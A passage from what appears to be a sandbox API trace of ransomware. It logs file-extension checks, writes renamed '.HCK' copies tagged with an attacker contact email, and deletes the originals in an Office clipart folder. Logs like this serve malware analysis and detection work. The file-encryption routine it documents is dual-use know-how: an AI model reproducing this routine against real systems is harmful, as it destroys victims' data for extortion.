lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.139] lstrlenW (lpString=".1cd") returned 4 [0179.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.139] lstrlenW (lpString=".jpg") returned 4 [0179.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.139] lstrlenW (lpString=".doc") returned 4 [0179.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.139] lstrlenW (lpString=".docx") returned 5 [0179.139] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.139] lstrlenW (lpString=".pdf") returned 4 [0179.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.139] lstrlenW (lpString=".xls") returned 4 [0179.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.139] lstrlenW (lpString=".xlsx") returned 5 [0179.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.139] lstrlenW (lpString=".ppt") returned 4 [0179.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.139] lstrlenW (lpString=".zip") returned 4 [0179.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.139] lstrlenW (lpString=".rar") returned 4 [0179.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.139] lstrlenW (lpString=".bz2") returned 4 [0179.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.139] lstrlenW (lpString=".7z") returned 3 [0179.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.139] lstrlenW (lpString=".dbf") returned 4 [0179.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.139] lstrlenW (lpString=".1cd") returned 4 [0179.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.139] lstrlenW (lpString=".jpg") returned 4 [0179.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.139] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.139] lstrlenW (lpString="PE00640_.WMF") returned 12 [0179.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.142] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=45356) returned 1 [0179.142] CloseHandle (hObject=0x370) returned 1 [0179.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00640_.wmf")) returned 0x220 [0179.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00640_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.148] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.148] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00640_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.150] GetLastError () returned 0x0 [0179.150] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xb12c, lpOverlapped=0x0) returned 1 [0179.152] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xb130, lpOverlapped=0x0) returned 1 [0179.156] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.156] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.156] SetEndOfFile (hFile=0x2fc) returned 1 [0179.159] CloseHandle (hObject=0x2fc) returned 1 [0179.159] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.160] SetEndOfFile (hFile=0x368) returned 1 [0179.164] CloseHandle (hObject=0x368) returned 1 [0179.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00640_.wmf")) returned 1 [0179.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.166] lstrlenW (lpString=".doc") returned 4 [0179.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.166] lstrlenW (lpString=".docx") returned 5 [0179.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.166] lstrlenW (lpString=".pdf") returned 4 [0179.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.166] lstrlenW (lpString=".xls") returned 4 [0179.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.166] lstrlenW (lpString=".xlsx") returned 5 [0179.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.166] lstrlenW (lpString=".ppt") returned 4 [0179.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.166] lstrlenW (lpString=".zip") returned 4 [0179.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.166] lstrlenW (lpString=".rar") returned 4 [0179.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.166] lstrlenW (lpString=".bz2") returned 4 [0179.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.166] lstrlenW (lpString=".7z") returned 3 [0179.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.166] lstrlenW (lpString=".dbf") returned 4 [0179.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.166] lstrlenW (lpString=".1cd") returned 4 [0179.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.166] lstrlenW (lpString=".jpg") returned 4 [0179.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.167] lstrlenW (lpString=".doc") returned 4 [0179.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.167] lstrlenW (lpString=".docx") returned 5 [0179.167] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.167] lstrlenW (lpString=".pdf") returned 4 [0179.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.167] lstrlenW (lpString=".xls") returned 4 [0179.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.167] lstrlenW (lpString=".xlsx") returned 5 [0179.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.167] lstrlenW (lpString=".ppt") returned 4 [0179.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.167] lstrlenW (lpString=".zip") returned 4 [0179.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.167] lstrlenW (lpString=".rar") returned 4 [0179.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.167] lstrlenW (lpString=".bz2") returned 4 [0179.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.167] lstrlenW (lpString=".7z") returned 3 [0179.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.167] lstrlenW (lpString=".dbf") returned 4 [0179.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.167] lstrlenW (lpString=".1cd") returned 4 [0179.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 68 [0179.167] lstrlenW (lpString=".jpg") returned 4 [0179.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.167] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.167] lstrlenW (lpString="PE00693_.WMF") returned 12 [0179.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.171] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4408) returned 1 [0179.171] CloseHandle (hObject=0x2fc) returned 1 [0179.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00693_.wmf")) returned 0x220 [0179.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00693_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.176] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.176] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00693_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.179] GetLastError () returned 0x0 [0179.179] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1138, lpOverlapped=0x0) returned 1 [0179.181] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1140, lpOverlapped=0x0) returned 1 [0179.182] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.182] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.182] SetEndOfFile (hFile=0x300) returned 1 [0179.184] CloseHandle (hObject=0x300) returned 1 [0179.185] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.185] SetEndOfFile (hFile=0x368) returned 1 [0179.187] CloseHandle (hObject=0x368) returned 1 [0179.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00693_.wmf")) returned 1 [0179.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.192] lstrlenW (lpString=".doc") returned 4 [0179.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.192] lstrlenW (lpString=".docx") returned 5 [0179.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.192] lstrlenW (lpString=".pdf") returned 4 [0179.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.192] lstrlenW (lpString=".xls") returned 4 [0179.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.192] lstrlenW (lpString=".xlsx") returned 5 [0179.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.192] lstrlenW (lpString=".ppt") returned 4 [0179.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.192] lstrlenW (lpString=".zip") returned 4 [0179.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.192] lstrlenW (lpString=".rar") returned 4 [0179.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.192] lstrlenW (lpString=".bz2") returned 4 [0179.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.192] lstrlenW (lpString=".7z") returned 3 [0179.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.192] lstrlenW (lpString=".dbf") returned 4 [0179.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.192] lstrlenW (lpString=".1cd") returned 4 [0179.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.192] lstrlenW (lpString=".jpg") returned 4 [0179.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.192] lstrlenW (lpString=".doc") returned 4 [0179.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.192] lstrlenW (lpString=".docx") returned 5 [0179.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.192] lstrlenW (lpString=".pdf") returned 4 [0179.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.192] lstrlenW (lpString=".xls") returned 4 [0179.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.192] lstrlenW (lpString=".xlsx") returned 5 [0179.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.192] lstrlenW (lpString=".ppt") returned 4 [0179.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.193] lstrlenW (lpString=".zip") returned 4 [0179.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.193] lstrlenW (lpString=".rar") returned 4 [0179.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.193] lstrlenW (lpString=".bz2") returned 4 [0179.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.193] lstrlenW (lpString=".7z") returned 3 [0179.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.193] lstrlenW (lpString=".dbf") returned 4 [0179.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.193] lstrlenW (lpString=".1cd") returned 4 [0179.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 68 [0179.193] lstrlenW (lpString=".jpg") returned 4 [0179.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.193] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.193] lstrlenW (lpString="PE00737_.WMF") returned 12 [0179.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.194] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=40492) returned 1 [0179.194] CloseHandle (hObject=0x300) returned 1 [0179.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf")) returned 0x220 [0179.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.202] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.202] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.204] GetLastError () returned 0x0 [0179.204] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x9e2c, lpOverlapped=0x0) returned 1 [0179.206] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x9e30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x9e30, lpOverlapped=0x0) returned 1 [0179.207] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.207] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.207] SetEndOfFile (hFile=0x2fc) returned 1 [0179.209] CloseHandle (hObject=0x2fc) returned 1 [0179.211] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.211] SetEndOfFile (hFile=0x39c) returned 1 [0179.214] CloseHandle (hObject=0x39c) returned 1 [0179.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf")) returned 1 [0179.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.217] lstrlenW (lpString=".doc") returned 4 [0179.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.217] lstrlenW (lpString=".docx") returned 5 [0179.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.218] lstrlenW (lpString=".pdf") returned 4 [0179.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString=".xls") returned 4 [0179.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.218] lstrlenW (lpString=".xlsx") returned 5 [0179.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.218] lstrlenW (lpString=".ppt") returned 4 [0179.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.218] lstrlenW (lpString=".zip") returned 4 [0179.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.218] lstrlenW (lpString=".rar") returned 4 [0179.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString=".bz2") returned 4 [0179.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString=".7z") returned 3 [0179.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.218] lstrlenW (lpString=".dbf") returned 4 [0179.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.218] lstrlenW (lpString=".1cd") returned 4 [0179.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 68 [0179.218] lstrlenW (lpString=".jpg") returned 4 [0179.218] lstrcmpiW (lpString1=".jpg", 